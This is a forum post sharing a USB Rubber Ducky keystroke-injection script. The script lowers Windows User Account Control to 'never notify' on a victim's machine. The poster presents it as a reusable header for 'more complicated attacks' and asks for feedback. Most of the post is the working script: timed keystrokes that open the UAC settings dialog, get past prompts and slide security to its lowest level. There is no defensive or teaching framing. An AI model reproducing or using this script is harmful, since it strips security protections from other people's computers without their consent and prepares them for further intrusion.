Onus Posted March 14, 2017 Share Posted March 14, 2017 (edited) I just refractored an old ducky script I wrote for lowering the user account control settings on a victem's machine.. Its a bit dirty of a way to go about it, but seems to work on a windows ten machine no matter what the user's current account settings are. Its nt really a stand alone but more of a header for more complicated attacks. LED R G 300 Q DELAY 3000 LED B 100 Q DELAY 100 # Downgrade user account security to NEVER # Minimize all windows Q GUI d Q GUI r Q DELAY 300 Q STRING useraccountcontrolsettings Q ENTER # deal with potential first prompt if security is too high in a way that won't mess with other possible outcomes Q DELAY 300 Q DOWNARROW Q UPARROW Q DELAY 300 Q ENTER # lower the bar Q DELAY 500 Q DOWNARROW Q DOWNARROW Q DOWNARROW Q DOWNARROW Q DELAY 300 Q TAB Q ENTER Q DELAY 500 # deal with potential final prompt if user had high level Q LEFTARROW Q ENTER Q DELAY 500 Just thought I'd share, get thoughts, maybe save someone one some time dancing around all the possible keyboard combinations to deal with for a given user's settings and the. Windows 7+ Edited March 14, 2017 by Onus Quote Link to comment Share on other sites More sharing options...
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